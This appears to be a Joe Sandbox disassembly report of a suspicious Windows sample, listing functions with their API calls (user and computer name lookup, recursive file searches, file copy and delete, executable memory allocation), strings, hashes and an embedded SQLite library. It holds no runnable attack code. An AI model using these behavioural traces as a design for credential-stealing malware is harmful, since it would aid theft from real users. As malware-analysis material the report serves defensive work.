Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: realloc
String ID:
API String ID: 471065373-0
Opcode ID: e26b6afafbe88dd408296985b2cf5437b863de116ceff75567ad09f3e2b45908
Instruction ID: 4040ac9b910eb7d7724dfc403353a0a40a3fe088e4c24dccbd46c39564703f2d
Opcode Fuzzy Hash: e26b6afafbe88dd408296985b2cf5437b863de116ceff75567ad09f3e2b45908
Instruction Fuzzy Hash: C3F0F97180530A9FDB109F55C58195DFBE8EF84268F14C86DE8984B310D374E544CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00415480 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041548F

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: f4c9474ea412cdcc789c953364535a9198a263f17679a880808fc521ecf63136
Instruction ID: 2a4fd8ce56a4d4435615ce078572ece104134a1ad6f68c3ecb8f5176aa3219fb
Opcode Fuzzy Hash: f4c9474ea412cdcc789c953364535a9198a263f17679a880808fc521ecf63136
Instruction Fuzzy Hash: 52F01C74C00608EBCB10EF94D9457DDBB74AF44315F10819AD82697381DB385A85CB85

Uniqueness

Uniqueness Score: -1.00%

Function 004154D0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004154FB

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 6316e354d19920656f3d503261a6791af2b52d93b7c3ba5a46373cb1d148dcea
Instruction ID: b99aedd2564ee9de31e5ea61c6b4030e4bfcae2f6a70632780e7496f2286918f
Opcode Fuzzy Hash: 6316e354d19920656f3d503261a6791af2b52d93b7c3ba5a46373cb1d148dcea
Instruction Fuzzy Hash: 44E09230A4030CABDB60DB90CC92FDD333C9B44B00F004285BA0C5A1C0DA70AB818BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004143F0: GetProcessHeap.KERNEL32(00000000,00000104,004136DB,0041D6E3), ref: 004143FD
Part of subcall function 004143F0: HeapAlloc.KERNEL32(00000000), ref: 00414404
Part of subcall function 004143F0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041441C

Part of subcall function 004143B0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02C523D0,004136DB,0041D6E3), ref: 004143BD
Part of subcall function 004143B0: HeapAlloc.KERNEL32(00000000), ref: 004143C4
Part of subcall function 004143B0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143DC

ExitProcess.KERNEL32 ref: 00401186

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 565f970972dfa4b73c0f411a79ac3462d5f8eb2ffc194cb1612ee7ac2b47bfdd
Instruction ID: 7a1918bba5e4b61185d18f2f68fc24aa870b61d9e24ce2726ce3ba7f6bcac6cc
Opcode Fuzzy Hash: 565f970972dfa4b73c0f411a79ac3462d5f8eb2ffc194cb1612ee7ac2b47bfdd
Instruction Fuzzy Hash: 39E0ECB5A4060472CA1573B67D06B96729E5B9830AF40052ABE0497252ED29E44145BD

Uniqueness

Uniqueness Score: -1.00%

Function 02C37EF5 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 02C37F46

Memory Dump Source

Source File: 00000000.00000002.3315657325.0000000002C37000.00000040.00000020.00020000.00000000.sdmp, Offset: 02C37000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2c37000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: b1e6abb0ba841c6cb1da8dc5ca289f2ff4bbc07873f3651ca75a461560eeb261
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: AF113C79A00208EFDB01DF98C985E99BFF5AF08350F058094F9489B361D375EA50EF80

Uniqueness

Uniqueness Score: -1.00%

Function 61E0AE03 Relevance: 1.3, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 61E0AE3D

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction ID: a929929d55870eb2e3dfc3d9b08de53e37bb6c9da6c43a06ed963554b33c57a4
Opcode Fuzzy Hash: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction Fuzzy Hash: A5F090B1554708CFDB006FA8E8C52153BA4F746219F5840BAE8150B201D735D5E1CB91

Uniqueness

Uniqueness Score: -1.00%

Function 61E2A6AF Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 61E2A6BF

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction ID: 08a60fc229ca929b4850671bf03eed3452f9cad2ea52f9bb94d0a5c68b8f0e05
Opcode Fuzzy Hash: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction Fuzzy Hash: 68F039B0C4830A9FCB009FA5DAC5A0DBBE8EB84258F14C46DE8988F710D334E580CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00414FE0 Relevance: 1.3, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00414FE8

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction ID: 71a24ea012b18c325b39d17d5ea825459b0100de2daa219f1012b17ed67d7128
Opcode Fuzzy Hash: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction Fuzzy Hash: 1CC012B090410CEB8B00CF98EC0588A7BECDB08200B0041A4FC0DC3300D631AE1087D5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00411650 Relevance: 47.5, APIs: 20, Strings: 7, Instructions: 237filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00411669
FindFirstFileA.KERNEL32(?,?), ref: 00411680
lstrcat.KERNEL32(?,?), ref: 004116D2
StrCmpCA.SHLWAPI(?,0041D7F8), ref: 004116E4
StrCmpCA.SHLWAPI(?,0041D7FC), ref: 004116FA
FindNextFileA.KERNEL32(000000FF,?), ref: 00411980
FindClose.KERNEL32(000000FF), ref: 00411995

Strings

%s\%s\%s, xrefs: 004117DB
%s\*, xrefs: 0041165D
%s%s, xrefs: 00411838
%s\%s, xrefs: 00411714
1#v, xrefs: 00411680
P2#v, xrefs: 00411980
%s\%s, xrefs: 004117FD

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$P2#v$1#v
API String ID: 1125553467-4020312187
Opcode ID: 1f95f66950e1bcc713e3d9be0b860a2bca0b3a5ec4589e493b802f9349668824
Instruction ID: 12845b40676a5aa3371525b3464884def2f62e70e2391475562b270894769044
Opcode Fuzzy Hash: 1f95f66950e1bcc713e3d9be0b860a2bca0b3a5ec4589e493b802f9349668824
Instruction Fuzzy Hash: 949172B19006189BDB24EFA4DC85FEA737DBF88300F044589F61A92191DB789AC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00412570 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00412589
FindFirstFileA.KERNEL32(?,?), ref: 004125A0
StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

%s\%s, xrefs: 004125FE
%s\%s, xrefs: 0041264F
%s\*, xrefs: 0041257D
1#v, xrefs: 004125A0
P2#v, xrefs: 004127B9

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$P2#v$1#v
API String ID: 180737720-322404123
Opcode ID: dd72cadfe78f5fc738104c7d5c9bae4042813b1fa16ab037ec27820ed37f5925
Instruction ID: 127c180e630a316a3710319b67326ad67d1ae0c351d359d4b7a9190661facd1e
Opcode Fuzzy Hash: dd72cadfe78f5fc738104c7d5c9bae4042813b1fa16ab037ec27820ed37f5925
Instruction Fuzzy Hash: 226167B2900618ABCB24EBE0DD99EEA737DBF58701F00458DB61A96140EF749B85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004121F0 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
HeapAlloc.KERNEL32(00000000), ref: 00412207
wsprintfA.USER32 ref: 00412223
FindFirstFileA.KERNEL32(?,?), ref: 0041223A
StrCmpCA.SHLWAPI(?,0041D84C), ref: 00412268
StrCmpCA.SHLWAPI(?,0041D850), ref: 0041227E
FindNextFileA.KERNEL32(000000FF,?), ref: 004122FF
FindClose.KERNEL32(000000FF), ref: 00412314
lstrcat.KERNEL32(?,02C52630), ref: 00412339
lstrcat.KERNEL32(?,02C57728), ref: 0041234C
lstrlen.KERNEL32(?), ref: 00412359
lstrlen.KERNEL32(?), ref: 0041236A

Strings

%s\*, xrefs: 00412217
%s\%s, xrefs: 00412295
1#v, xrefs: 0041223A
P2#v, xrefs: 004122FF

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$P2#v$1#v
API String ID: 13328894-4226942003
Opcode ID: 4dc57d5596f8cd89601de66555f7cbd2aae4bd724a445d6aaabb37a6999813aa
Instruction ID: 7574949343cdcf621718325c2165bb5ab905eded76c40e17054dafdfa0b6f8a5
Opcode Fuzzy Hash: 4dc57d5596f8cd89601de66555f7cbd2aae4bd724a445d6aaabb37a6999813aa
Instruction Fuzzy Hash: 7D5196B1940618ABCB20EBB0DD89FEE737DAB98700F404589F61A96150DF749BC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 61E4304E Relevance: 31.5, APIs: 1, Strings: 19, Instructions: 1527COMMON

Download Yara Rule

Strings

H, xrefs: 61E43766
aggregate, xrefs: 61E4434A
excluded, xrefs: 61E438A5
ambiguous column name, xrefs: 61E43DC3
false, xrefs: 61E43198
old, xrefs: 61E4386A
M, xrefs: 61E43A55
no such column, xrefs: 61E43DC8
Q{a, xrefs: 61E4465A
za, xrefs: 61E448C1
parameters, xrefs: 61E4482B
subqueries, xrefs: 61E447D9
the "." operator, xrefs: 61E43209
ROWID, xrefs: 61E43F8E
non-deterministic functions, xrefs: 61E44232
true, xrefs: 61E43181
new, xrefs: 61E43838
main, xrefs: 61E4331F
window, xrefs: 61E44351

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: za$H$M$Q{a$ROWID$aggregate$ambiguous column name$excluded$false$main$new$no such column$non-deterministic functions$old$parameters$subqueries$the "." operator$true$window
API String ID: 0-995943838
Opcode ID: 33a4bf6f428ee4edd743105bfae109be89976f240395f77ce69a64c47f31ce08
Instruction ID: 1d323ea87534b4984c39532d96b7a68bc5a2d3eb5612128e3b04e89f7f046be3
Opcode Fuzzy Hash: 33a4bf6f428ee4edd743105bfae109be89976f240395f77ce69a64c47f31ce08
Instruction Fuzzy Hash: 9AF25A74A042658FEB20CF68D980B99BBF1BF49308F24C5DAD8999B391D770E985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 61E89E0E Relevance: 21.9, APIs: 1, Strings: 13, Instructions: 889COMMON

Download Yara Rule

Strings

TABLE, xrefs: 61E8A4A9
bua, xrefs: 61E89E80
<va, xrefs: 61E8A6FF
view, xrefs: 61E8A4B6
,)?, xrefs: 61E8A70F
BINARY, xrefs: 61E8AA07
VIEW, xrefs: 61E8A4A4
bua, xrefs: 61E89EE8
, , xrefs: 61E8A717
bua, xrefs: 61E8A704
table, xrefs: 61E8A4AE
sqlite_sequence, xrefs: 61E8A99D
, xrefs: 61E8A722

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: $, $,)?$<va$BINARY$TABLE$VIEW$bua$bua$bua$sqlite_sequence$table$view
API String ID: 0-1924526440
Opcode ID: 65fc94c6a0acacf49c5d1c0386ed353d2077d612562bd1415ffc30418af12cf2
Instruction ID: 7e928e732a07f98dc879ebd84ab0464052c32152e924ddb65c1e78ed1b741658
Opcode Fuzzy Hash: 65fc94c6a0acacf49c5d1c0386ed353d2077d612562bd1415ffc30418af12cf2
Instruction Fuzzy Hash: 92824674A45245CFDB44CFA8C18079DBBF1BF88308F25C569E899AB3A5D774E882CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0040D540 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,0041D746), ref: 0040D58E
StrCmpCA.SHLWAPI(?,0041DC28), ref: 0040D5DE
StrCmpCA.SHLWAPI(?,0041DC2C), ref: 0040D5F4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DB0A
FindClose.KERNEL32(000000FF), ref: 0040DB1C

Strings

[@, xrefs: 0040D562, 0040DB2A, 0040D623, 0040D5A5, 0040D626
1#v, xrefs: 0040D58E
P2#v, xrefs: 0040DB0A
\*.*, xrefs: 0040D556

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: P2#v$[@$\*.*$1#v
API String ID: 2325840235-2231405361
Opcode ID: 7f182abad2a2136df6e21a23f3893607385d6228dd08620347019f6cd6e6b377
Instruction ID: 8cb1fca9f0181b9a75f903af118b3e0edc164528e9c71599738632e128d43217
Opcode Fuzzy Hash: 7f182abad2a2136df6e21a23f3893607385d6228dd08620347019f6cd6e6b377
Instruction Fuzzy Hash: 8FF1A1719141189BCB25FB61DCA5EEE7339AF54304F8145EFA00A62091EF38ABC9CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1C0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0041DC10,0041D73F), ref: 0040D22B
StrCmpCA.SHLWAPI(?,0041DC14), ref: 0040D273
StrCmpCA.SHLWAPI(?,0041DC18), ref: 0040D289
FindNextFileA.KERNEL32(000000FF,?), ref: 0040D4EE
FindClose.KERNEL32(000000FF), ref: 0040D500

Strings

1#v, xrefs: 0040D22B
P2#v, xrefs: 0040D4EE

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$1#v
API String ID: 3334442632-762677545
Opcode ID: ab8e868fcedee72fe9eba62f13c85f9da8290cdb04adb8ea381d20d8147fdced
Instruction ID: ee286e2d28f8aec406dc2c610d2c131686a7535fa5c5a22a6bbfe54e67e68778
Opcode Fuzzy Hash: ab8e868fcedee72fe9eba62f13c85f9da8290cdb04adb8ea381d20d8147fdced
Instruction Fuzzy Hash: 03912372A0010497CB14FFB1FD569EE737DAB84308F01466EB90657181EE38EB89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004015C0 Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B4,?,00401E03,?,004215B8,?,?,00000000,?,00000000), ref: 00401813
StrCmpCA.SHLWAPI(?,004215BC), ref: 00401863
StrCmpCA.SHLWAPI(?,004215C0), ref: 00401879
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401C30
DeleteFileA.KERNEL32(00000000), ref: 00401CB4
FindNextFileA.KERNEL32(000000FF,?), ref: 00401D0A
FindClose.KERNEL32(000000FF), ref: 00401D1C

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Strings

\*.*, xrefs: 004016E1
1#v, xrefs: 00401813
P2#v, xrefs: 00401D0A

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
